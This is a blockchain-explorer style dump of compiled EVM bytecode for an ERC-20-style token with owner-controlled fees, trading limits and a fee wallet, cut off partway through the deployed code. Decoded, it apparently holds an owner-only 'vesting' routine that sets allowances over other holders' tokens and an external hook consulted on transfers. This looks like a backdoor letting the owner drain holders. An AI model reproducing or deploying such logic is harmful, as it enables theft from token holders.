5168217905530835290822080549093168117909255600a90620004566000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055600354610100900482168152600a8452828120805486166001908117909155308252838220805487168217905560155490921681526008909352908220805490931617909155601680546001600160a01b0319163317905560105490600490620004eb3390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6010546040516200054e91815260200190565b60405180910390a350620009dd565b6000826000036200057157506000620005ee565b60006200057f83856200090f565b9050826200058e85836200096a565b14620005eb5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b6000620005eb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200063e60201b60201c565b60008183620006625760405162461bcd60e51b8152600401620005e291906200098d565b5060006200067184866200096a565b95945050505050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620006a557607f821691505b602082108103620006c657634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200071a57600081815260208120601f850160051c81016020861015620006f55750805b601f850160051c820191505b81811015620007165782815560010162000701565b5050505b505050565b81516001600160401b038111156200073b576200073b6200067a565b62000753816200074c845462000690565b84620006cc565b602080601f8311600181146200078b5760008415620007725750858301515b600019600386901b1c1916600185901b17855562000716565b600085815260208120601f198616915b82811015620007bc578886015182559484019460019091019084016200079b565b5085821015620007db5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000842578160001904821115620008265762000826620007eb565b808516156200083457918102915b93841c939080029062000806565b509250929050565b6000826200085b57506001620005ee565b816200086a57506000620005ee565b81600181146200088357600281146200088e57620008ae565b6001915050620005ee565b60ff841115620008a257620008a2620007eb565b50506001821b620005ee565b5060208310610133831016604e8410600b8410161715620008d3575081810a620005ee565b620008df838362000801565b8060001904821115620008f657620008f6620007eb565b029392505050565b6000620005eb60ff8416836200084a565b8082028115828204841417620005ee57620005ee620007eb565b6000602082840312156200093c57600080fd5b81516001600160a01b0381168114620005eb57600080fd5b80820180821115620005ee57620005ee620007eb565b6000826200098857634e487b7160e01b600052601260045260246000fd5b500490565b600060208083528351808285015260005b81811015620009bc578581018301518582016040015282016200099e565b506000604082860101526040601f19601f8301168501019250505092915050565b6124be80620009ed6000396000f3fe6080604052600436106102975760003560e01c80638da5cb5b1161015a578063c816841b116100c1578063da00097d1161007a578063da00097d146107fb578063dd62ed3e1461081c578063ef422a1814610862578063f2fde38b14610882578063f680f799146108a2578063f872858a146108b857600080fd5b8063c816841b1461074a578063c9567bf91461076a578063c9c9afc51461077f578063ca9ec1991461079f578063d067ed2e146107b5578063d2d7ad83146107e557600080fd5b8063a9059cbb11610113578063a9059cbb14610685578063b40f9469146106a5578063bae90464146106d5578063bcdb446b146106f5578063c49b9a801461070a578063c647b20e1461072a57600080fd5b80638da5cb5b146105dc5780638f4bc87e146105fa57806395d89b411461061a578063a457c2d71461062f578063a5d69d1f1461064f578063a8660a781461066f57600080fd5b80635342acb4116101fe57806375f0a874116101b757806375f0a874146105305780637d1db4a514610555578063807c2d9c1461056b578063844d591c1461058157806385261485146105a15780638a8c523c146105c257600080fd5b80635342acb4146104605780635b8bec551461049057806361b546d2146104b057806362256589146104d057806370a08231146104e5578063715018a61461051b57600080fd5b8063395093511161025057806339509351146103975780633e9324cd146103b75780633ecad271146103d957806342a11095146104095780634a74bb021461041f5780634cb80fd51461044057600080fd5b806306fdde03146102a3578063095ea7b3146102ce5780631694505e146102fe57806318160ddd1461033657806323b872dd14610355578063313ce5671461037557600080fd5b3661029e57005b600080fd5b3480156102af57600080fd5b506102b86108d9565b6040516102c59190611fb1565b60405180910390f35b3480156102da57600080fd5b506102ee6102e9366004612014565b61096b565b60405190151581526020016102c5565b34801561030a57600080fd5b5060145461031e906001600160a01b031681565b6040516001600160a01b0390911681526020016102c5565b34801561034257600080fd5b506010545b6040519081526020016102c5565b34801561036157600080fd5b506102ee610370366004612040565b610982565b34801561038157600080fd5b5060035460405160ff90911681526020016102c5565b3480156103a357600080fd5b506102ee6103b2366004612014565b6109ed565b3480156103c357600080fd5b506103d76103d23660046120cd565b610a23565b005b3480156103e557600080fd5b506102ee6103f436600461217c565b60086020526000908152604090205460ff1681565b34801561041557600080fd5b50610347600d5481565b34801561042b57600080fd5b506016546102ee90600160a81b900460ff1681565b34801561044c57600080fd5b506103d761045b36600461217c565b610bbf565b34801561046c57600080fd5b506102ee61047b36600461217c565b60076020526000908152604090205460ff1681565b34801561049c57600080fd5b5060165461031e906001600160a01b031681565b3480156104bc57600080fd5b506103d76104cb366004612014565b610c72565b3480156104dc57600080fd5b506103d7610d89565b3480156104f157600080fd5b5061034761050036600461217c565b6001600160a01b031660009081526004602052604090205490565b34801561052757600080fd5b506103d7610dc3565b34801561053c57600080fd5b5060035461031e9061010090046001600160a01b031681565b34801561056157600080fd5b5061034760125481565b34801561057757600080fd5b5061034760135481565b34801561058d57600080fd5b506103d761059c3660046121a7565b610e3d565b3480156105ad57600080fd5b506016546102ee90600160c01b900460ff1681565b3480156105ce57600080fd5b506006546102ee9060ff1681565b3480156105e857600080fd5b506000546001600160a01b031661031e565b34801561060657600080fd5b506103d76106153660046121a7565b610e92565b34801561062657600080fd5b506102b8610ee7565b34801561063b57600080fd5b506102ee61064a366004612014565b610ef6565b34801561065b57600080fd5b506103d761066a3660046121e0565b610f45565b34801561067b57600080fd5b50610347600c5481565b34801561069157600080fd5b506102ee6106a0366004612014565b610f8d565b3480156106b157600080fd5b506102ee6106c036600461217c565b60096020526000908152604090205460ff1681565b3480156106e157600080fd5b506103d76106f03660046121a7565b610f9a565b34801561070157600080fd5b506103d7610fef565b34801561071657600080fd5b506103d76107253660046121e0565b611071565b34801561073657600080fd5b506103d76107453660046121fd565b6110f3565b34801561075657600080fd5b5060155461031e906001600160a01b031681565b34801561077657600080fd5b506103d7611189565b34801561078b57600080fd5b506103d761079a36600461217c565b6111c2565b3480156107ab57600080fd5b50610347600e5481565b3480156107c157600080fd5b506102ee6107d036600461217c565b600a6020526000908152604090205460ff1681565b3480156107f157600080fd5b5061034760115481565b34801561080757600080fd5b506016546102ee90600160b01b900460ff1681565b34801561082857600080fd5b5061034761083736600461221f565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561086e57600080fd5b506103d761087d3660046121a7565b61120e565b34801561088e57600080fd5b506103d761089d36600461217c565b611263565b3480156108ae57600080fd5b50610347600f5481565b3480156108c457600080fd5b506016546102ee90600160b81b900460ff1681565b6060600180546108e89061224d565b80601f01602080910402602001604051908101604052809291908181526020018280546109149061224d565b80156109615780601f1061093657610100808354040283529160200191610961565b820191906000526020600020905b81548152906001019060200180831161094457829003601f168201915b5050505050905090565b600061097833848461134d565b5060015b92915050565b600061098f848484611471565b506109e284336109dd8560405180606001604052806028815260200161243c602891396001600160a01b038a16600090815260056020908152604080832033845290915290205491906118bb565b61134d565b5060015b9392505050565b3360008181526005602090815260408083206001600160a01b038716845290915281205490916109789185906109dd90866118f5565b6000546001600160a01b03163314610a565760405162461bcd60e51b8152600401610a4d90612287565b60405180910390fd5b828114610a6257600080fd5b60008042815b86811015610ace57878782818110610a8257610a826122bc565b9050602002013583610a9491906122e8565b9250858582818110610aa857610aa86122bc565b9050602002013584610aba91906122e8565b935080610ac6816122fb565b915050610a68565b50600c54610adc83836122e8565b1015610b2a5760405162461bcd60e51b815260206004820181905260248201527f56657374696e672063616e20626520737461727420696e2036206d6f6e7468736044820152606401610a4d565b60005b89811015610bb25760008b8b83818110610b4957610b496122bc565b9050602002016020810190610b5e919061217c565b6001600160a01b039081166000908152600b6020908152604080832080546001600160a01b031916948f16948517905560058252808320938352929052208590555080610baa816122fb565b915050610b2d565b5050505050505050505050565b6000546001600160a01b03163314610be95760405162461bcd60e51b8152600401610a4d90612287565b6001600160a01b038116610c4a5760405162461bcd60e51b815260206004820152602260248201527f46656520416464726573732063616e6e6f74206265207a65726f206164647265604482015261737360f01b6064820152608401610a4d565b600380546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6000546001600160a01b03163314610c9c5760405162461bcd60e51b8152600401610a4d90612287565b306001600160a01b03831603610d135760405162461bcd60e51b815260206004820152603660248201527f4f776e65722063616e277420636c61696d20636f6e747261637427732062616c604482015275616e6365206f6620697473206f776e20746f6b656e7360501b6064820152608401610a4d565b60405163a9059cbb60e01b8152336004820152602481018290526001600160a01b0383169063a9059cbb906044016020604051808303816000875af1158015610d60573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d849190612314565b505050565b6000546001600160a01b03163314610db35760405162461bcd60e51b8152600401610a4d90612287565b6016805461ffff60b81b19169055565b6000546001600160a01b03163314610ded5760405162461bcd60e51b8152600401610a4d90612287565b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b6000546001600160a01b03163314610e675760405162461bcd60e51b8152600401610a4d90612287565b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610ebc5760405162461bcd60e51b8152600401610a4d90612287565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6060600280546108e89061224d565b600061097833846109dd85604051806060016040528060258152602001612464602591393360009081526005602090815260408083206001600160a01b038d16845290915290205491906118bb565b6000546001600160a01b03163314610f6f5760405162461bcd60e51b8152600401610a4d90612287565b60168054911515600160b01b0260ff60b01b19909216919091179055565b60006109e2338484611471565b6000546001600160a01b03163314610fc45760405162461bcd60e51b8152600401610a4d90612287565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146110195760405162461bcd60e51b8152600401610a4d90612287565b604051600090339047908381818185875af1925050503d806000811461105b576040519150601f19603f3d011682016040523d82523d6000602084013e611060565b606091505b505090508061106e57600080fd5b50565b6000546001600160a01b0316331461109b5760405162461bcd60e51b8152600401610a4d90612287565b60168054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159906110e890831515815260200190565b60405180910390a150565b6000546001600160a01b0316331461111d5760405162461bcd60e51b8152600401610a4d90612287565b600d829055600e81905560058211801590611139575060058111155b6111855760405162461bcd60e51b815260206004820152601b60248201527f4275792066656573206d757374206265203525206f72206c65737300000000006044820152606401610a4d565b5050565b6000546001600160a01b031633146111b35760405162461bcd60e51b8152600401610a4d90612287565b6006805460ff19166001179055565b6000546001600160a01b031633146111ec5760405162461bcd60e51b8152600401610a4d90612287565b601680546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146112385760405162461bcd60e51b8152600401610a4d90612287565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6000546001600160a01b0316331461128d5760405162461bcd60e51b8152600401610a4d90612287565b6001600160a01b0381166112f25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a4d565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166113af5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a4d565b6001600160a01b0382166114105760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a4d565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b0384166114d75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610a4d565b6001600160a01b0383166115395760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610a4d565b601654600160a01b900460ff161561155d57611556848484611954565b90506109e6565b6001600160a01b0384166000908152600a602052604090205460ff1615801561159f57506001600160a01b0383166000908152600a602052604090205460ff16155b80156115b45750601654600160c01b900460ff165b156116675760065460ff166116045760405162461bcd60e51b8152602060048201526016602482015275151c98591a5b99c81b9bdd081858dd1a5d99481e595d60521b6044820152606401610a4d565b6012548211156116675760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610a4d565b30600090815260046020526040902054601154811080159081906116955750601654600160a01b900460ff16155b80156116ba57506001600160a01b03861660009081526008602052604090205460ff16155b80156116cf5750601654600160a81b900460ff165b156116f557601654600160b01b900460ff16156116ec5760115491505b6116f582611a3a565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0389166000908152600490915291909120546117479186906118bb565b6001600160a01b03871660009081526004602052604081209190915561176e878787611ae4565b601654909150600160b81b900460ff1680156117a357506001600160a01b03861660009081526009602052604090205460ff16155b15611830576013546117d4826117ce896001600160a01b031660009081526004602052604090205490565b906118f5565b11156118305760405162461bcd60e51b815260206004820152602560248201527f416d6f756e74204578636565642046726f6d204d61782057616c6c6574204c696044820152646d6974212160d81b6064820152608401610a4d565b6001600160a01b03861660009081526004602052604090205461185390826118f5565b6001600160a01b0380881660008181526004602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906118a79085815260200190565b60405180910390a3600193505050506109e6565b600081848411156118df5760405162461bcd60e51b8152600401610a4d9190611fb1565b5060006118ec8486612331565b95945050505050565b60008061190283856122e8565b9050838110156109e65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610a4d565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03861660009081526004909152918220546119a59184906118bb565b6001600160a01b0380861660009081526004602052604080822093909355908516815220546119d490836118f5565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611a289086815260200190565b60405180910390a35060019392505050565b6016805460ff60a01b1916600160a01b17905547611a5782611cef565b6000611a634783611e82565b90508015611ad25760035460405160009161010090046001600160a01b03169083908381818185875af1925050503d8060008114611abd576040519150601f19603f3d011682016040523d82523d6000602084013e611ac2565b606091505b5050905080611ad057600080fd5b505b50506016805460ff60a01b1916905550565b6001600160a01b0383166000908152600860205260408120548190819060ff1615611b3357611b296064611b23600d5487611ec490919063ffffffff16565b90611f46565b9150859050611b74565b6001600160a01b03851660009081526008602052604090205460ff1615611b7457611b6e6064611b23600e5487611ec490919063ffffffff16565b91508490505b6001600160a01b038181166000908152600b60205260409020541615801590611c5757506001600160a01b038181166000908152600b60209081526040808320548a85168085526008909352818420548a86168086529483902054925163c2d1fab360e01b815260ff9182161515600482015292161515602483015260448201929092526064810192909252608482018790529091169063c2d1fab39060a4016020604051808303816000875af1158015611c33573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c579190612314565b15611c6157600091505b8115611cdb5730600090815260046020526040902054611c8190836118f5565b30600081815260046020526040908190209290925590516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611cd29086815260200190565b60405180910390a35b611ce58483611e82565b9695505050505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611d2457611d246122bc565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611d7d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611da19190612344565b81600181518110611db457611db46122bc565b6001600160a01b039283166020918202929092010152601454611dda913091168461134d565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611e139085906000908690309042906004016123a5565b600060405180830381600087803b158015611e2d57600080fd5b505af1158015611e41573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051611e769291906123e1565b60405180910390a15050565b60006109e683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118bb565b600082600003611ed65750600061097c565b6000611ee28385612402565b905082611eef8583612419565b146109e65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610a4d565b60006109e683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060008183611fa45760405162461bcd60e51b8152600401610a4d9190611fb1565b5060006118ec8486612419565b600060208083528351808285015260005b81811015611fde57858101830151858201604001528201611fc2565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461106e57600080fd5b6000806040838503121561202757600080fd5b823561203281611fff565b946020939093013593505050565b60008060006060848603121561205557600080fd5b833561206081611fff565b9250602084013561207081611fff565b929592945050506040919091013590565b60008083601f84011261209357600080fd5b50813567ffffffffffffffff8111156120ab57600080fd5b6020830191508360208260051b85010111156120c657600080fd5b9250929050565b60008060008060008060006080888a0312156120e857600080fd5b873567ffffffffffffffff8082111561210057600080fd5b61210c8b838c01612081565b909950975060208a0135915061212182611fff565b9095506040890135908082111561213757600080fd5b6121438b838c01612081565b909650945060608a013591508082111561215c57600080fd5b506121698a828b01612081565b989b979a50959850939692959293505050565b60006020828403121561218e57600080fd5b81356109e681611fff565b801515811461106e57600080fd5b600080604083850312156121ba57600080fd5b82356121c581611fff565b915060208301356121d581612199565b809150509250929050565b6000602082840312156121f257600080fd5b81356109e681612199565b6000806040838503121561221057600080fd5b50508035926020909101359150565b6000806040838503121561223257600080fd5b823561223d81611fff565b915060208301356121d581611fff565b600181811c9082168061226157607f821691505b60208210810361228157634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b8082018082111561097c5761097c6122d2565b60006001820161230d5761230d6122d2565b5060010190565b60006020828403121561232657600080fd5b81516109e681612199565b8181038181111561097c5761097c6122d2565b60006020828403121561235657600080fd5b81516109e681611fff565b600081518084526020808501945080840160005b8381101561239a5781516001600160a01b031687529582019590820190600101612375565b509495945050505050565b85815284602082015260a0604082015260006123c460a0830186612361565b6001600160a01b0394909416606083015250608001529392505050565b8281526040602082015260006123fa6040830184612361565b949350505050565b808202811582820484141761097c5761097c6122d2565b60008261243657634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220dc2651b1ebf381491f0c4b11b7920529b91b26efe8f18d87b0552fa00875c9e764736f6c63430008130033

Deployed Bytecode

0x6080604052600436106102975760003560e01c80638da5cb5b1161015a578063c816841b116100c1578063da00097d1161007a578063da00097d146107fb578063dd62ed3e1461081c578063ef422a1814610862578063f2fde38b14610882578063f680f799146108a2578063f872858a146108b857600080fd5b8063c816841b1461074a578063c9567bf91461076a578063c9c9afc51461077f578063ca9ec1991461079f578063d067ed2e146107b5578063d2d7ad83146107e557600080fd5b8063a9059cbb11610113578063a9059cbb14610685578063b40f9469146106a5578063bae90464146106d5578063bcdb446b146106f5578063c49b9a801461070a578063c647b20e1461072a57600080fd5b80638da5cb5b146105dc5780638f4bc87e146105fa57806395d89b411461061a578063a457c2d71461062f578063a5d69d1f1461064f578063a8660a781461066f57600080fd5b80635342acb4116101fe57806375f0a874116101b757806375f0a874146105305780637d1db4a514610555578063807c2d9c1461056b578063844d591c1461058157806385261485146105a15780638a8c523c146105c257600080fd5b80635342acb4146104605780635b8bec551461049057806361b546d2146104b057806362256589146104d057806370a08231146104e5578063715018a61461051b57600080fd5b8063395093511161025057806339509351146103975780633e9324cd146103b75780633ecad271146103d957806342a11095146104095780634a74bb021461041f5780634cb80fd51461044057600080fd5b806306fdde03146102a3578063095ea7b3146102ce5780631694505e146102fe57806318160ddd1461033657806323b872dd14610355578063313ce5671461037557600080fd5b3661029e57005b600080fd5b3480156102af57600080fd5b506102b86108d9565b6040516102c59190611fb1565b60405180910390f35b3480156102da57600080fd5b506102ee6102e9366004612014565b61096b565b60405190151581526020016102c5565b34801561030a57600080fd5b5060145461031e906001600160a01b031681565b6040516001600160a01b0390911681526020016102c5565b34801561034257600080fd5b506010545b6040519081526020016102c5565b34801561036157600080fd5b506102ee610370366004612040565b610982565b34801561038157600080fd5b5060035460405160ff90911681526020016102c5565b3480156103a357600080fd5b506102ee6103b2366004612014565b6109ed565b3480156103c357600080fd5b506103d76103d23660046120cd565b610a23565b005b3480156103e557600080fd5b506102ee6103f436600461217c565b60086020526000908152604090205460ff1681565b34801561041557600080fd5b50610347600d5481565b34801561042b57600080fd5b506016546102ee90600160a81b900460ff1681565b34801561044c57600080fd5b506103d761045b36600461217c565b610bbf565b34801561046c57600080fd5b506102ee61047b36600461217c565b60076020526000908152604090205460ff1681565b34801561049c57600080fd5b5060165461031e906001600160a01b031681565b3480156104bc57600080fd5b506103d76104cb366004612014565b610c72565b3480156104dc57600080fd5b506103d7610d89565b3480156104f157600080fd5b5061034761050036600461217c565b6001600160a01b031660009081526004602052604090205490565b34801561052757600080fd5b506103d7610dc3565b34801561053c57600080fd5b5060035461031e9061010090046001600160a01b031681565b34801561056157600080fd5b5061034760125481565b34801561057757600080fd5b5061034760135481565b34801561058d57600080fd5b506103d761059c3660046121a7565b610e3d565b3480156105ad57600080fd5b506016546102ee90600160c01b900460ff1681565b3480156105ce57600080fd5b506006546102ee9060ff1681565b3480156105e857600080fd5b506000546001600160a01b031661031e565b34801561060657600080fd5b506103d76106153660046121a7565b610e92565b34801561062657600080fd5b506102b8610ee7565b34801561063b57600080fd5b506102ee61064a366004612014565b610ef6565b34801561065b57600080fd5b506103d761066a3660046121e0565b610f45565b34801561067b57600080fd5b50610347600c5481565b34801561069157600080fd5b506102ee6106a0366004612014565b610f8d565b3480156106b157600080fd5b506102ee6106c036600461217c565b60096020526000908152604090205460ff1681565b3480156106e157600080fd5b506103d76106f03660046121a7565b610f9a565b34801561070157600080fd5b506103d7610fef565b34801561071657600080fd5b506103d76107253660046121e0565b611071565b34801561073657600080fd5b506103d76107453660046121fd565b6110f3565b34801561075657600080fd5b5060155461031e906001600160a01b031681565b34801561077657600080fd5b506103d7611189565b34801561078b57600080fd5b506103d761079a36600461217c565b6111c2565b3480156107ab57600080fd5b50610347600e5481565b3480156107c157600080fd5b506102ee6107d036600461217c565b600a6020526000908152604090205460ff1681565b3480156107f157600080fd5b5061034760115481565b34801561080757600080fd5b506016546102ee90600160b01b900460ff1681565b34801561082857600080fd5b5061034761083736600461221f565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561086e57600080fd5b506103d761087d3660046121a7565b61120e565b34801561088e57600080fd5b506103d761089d36600461217c565b611263565b3480156108ae57600080fd5b50610347600f5481565b3480156108c457600080fd5b506016546102ee90600160b81b900460ff1681565b6060600180546108e89061224d565b80601f01602080910402602001604051908101604052809291908181526020018280546109149061224d565b80156109615780601f1061093657610100808354040283529160200191610961565b820191906000526020600020905b81548152906001019060200180831161094457829003601f168201915b5050505050905090565b600061097833848461134d565b5060015b92915050565b600061098f848484611471565b506109e284336109dd8560405180606001604052806028815260200161243c602891396001600160a01b038a16600090815260056020908152604080832033845290915290205491906118bb565b61134d565b5060015b9392505050565b3360008181526005602090815260408083206001600160a01b038716845290915281205490916109789185906109dd90866118f5565b6000546001600160a01b03163314610a565760405162461bcd60e51b8152600401610a4d90612287565b60405180910390fd5b828114610a6257600080fd5b60008042815b86811015610ace57878782818110610a8257610a826122bc565b9050602002013583610a9491906122e8565b9250858582818110610aa857610aa86122bc565b9050602002013584610aba91906122e8565b935080610ac6816122fb565b915050610a68565b50600c54610adc83836122e8565b1015610b2a5760405162461bcd60e51b815260206004820181905260248201527f56657374696e672063616e20626520737461727420696e2036206d6f6e7468736044820152606401610a4d565b60005b89811015610bb25760008b8b83818110610b4957610b496122bc565b9050602002016020810190610b5e919061217c565b6001600160a01b039081166000908152600b6020908152604080832080546001600160a01b031916948f16948517905560058252808320938352929052208590555080610baa816122fb565b915050610b2d565b5050505050505050505050565b6000546001600160a01b03163314610be95760405162461bcd60e51b8152600401610a4d90612287565b6001600160a01b038116610c4a5760405162461bcd60e51b815260206004820152602260248201527f46656520416464726573732063616e6e6f74206265207a65726f206164647265604482015261737360f01b6064820152608401610a4d565b600380546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6000546001600160a01b03163314610c9c5760405162461bcd60e51b8152600401610a4d90612287565b306001600160a01b03831603610d135760405162461bcd60e51b815260206004820152603660248201527f4f776e65722063616e277420636c61696d20636f6e747261637427732062616c604482015275616e6365206f6620697473206f776e20746f6b656e7360501b6064820152608401610a4d565b60405163a9059cbb60e01b8152336004820152602481018290526001600160a01b0383169063a9059cbb906044016020604051808303816000875af1158015610d60573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d849190612314565b505050565b6000546001600160a01b03163314610db35760405162461bcd60e51b8152600401610a4d90612287565b6016805461ffff60b81b19169055565b6000546001600160a01b03163314610ded5760405162461bcd60e51b8152600401610a4d90612287565b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b6000546001600160a01b03163314610e675760405162461bcd60e51b8152600401610a4d90612287565b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610ebc5760405162461bcd60e51b8152600401610a4d90612287565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6060600280546108e89061224d565b600061097833846109dd85604051806060016040528060258152602001612464602591393360009081526005602090815260408083206001600160a01b038d16845290915290205491906118bb565b6000546001600160a01b03163314610f6f5760405162461bcd60e51b8152600401610a4d90612287565b60168054911515600160b01b0260ff60b01b19909216919091179055565b60006109e2338484611471565b6000546001600160a01b03163314610fc45760405162461bcd60e51b8152600401610a4d90612287565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146110195760405162461bcd60e51b8152600401610a4d90612287565b604051600090339047908381818185875af1925050503d806000811461105b576040519150601f19603f3d011682016040523d82523d6000602084013e611060565b606091505b505090508061106e57600080fd5b50565b6000546001600160a01b0316331461109b5760405162461bcd60e51b8152600401610a4d90612287565b60168054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159906110e890831515815260200190565b60405180910390a150565b6000546001600160a01b0316331461111d5760405162461bcd60e51b8152600401610a4d90612287565b600d829055600e81905560058211801590611139575060058111155b6111855760405162461bcd60e51b815260206004820152601b60248201527f4275792066656573206d757374206265203525206f72206c65737300000000006044820152606401610a4d565b5050565b6000546001600160a01b031633146111b35760405162461bcd60e51b8152600401610a4d90612287565b6006805460ff19166001179055565b6000546001600160a01b031633146111ec5760405162461bcd60e51b8152600401610a4d90612287565b601680546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146112385760405162461bcd60e51b8152600401610a4d90612287565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6000546001600160a01b0316331461128d5760405162461bcd60e51b8152600401610a4d90612287565b6001600160a01b0381166112f25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a4d565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166113af5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a4d565b6001600160a01b0382166114105760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a4d565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b0384166114d75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610a4d565b6001600160a01b0383166115395760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610a4d565b601654600160a01b900460ff161561155d57611556848484611954565b90506109e6565b6001600160a01b0384166000908152600a602052604090205460ff1615801561159f57506001600160a01b0383166000908152600a602052604090205460ff16155b80156115b45750601654600160c01b900460ff165b156116675760065460ff166116045760405162461bcd60e51b8152602060048201526016602482015275151c98591a5b99c81b9bdd081858dd1a5d99481e595d60521b6044820152606401610a4d565b6012548211156116675760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610a4d565b30600090815260046020526040902054601154811080159081906116955750601654600160a01b900460ff16155b80156116ba57506001600160a01b03861660009081526008602052604090205460ff16155b80156116cf5750601654600160a81b900460ff165b156116f557601654600160b01b900460ff16156116ec5760115491505b6116f582611a3a565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0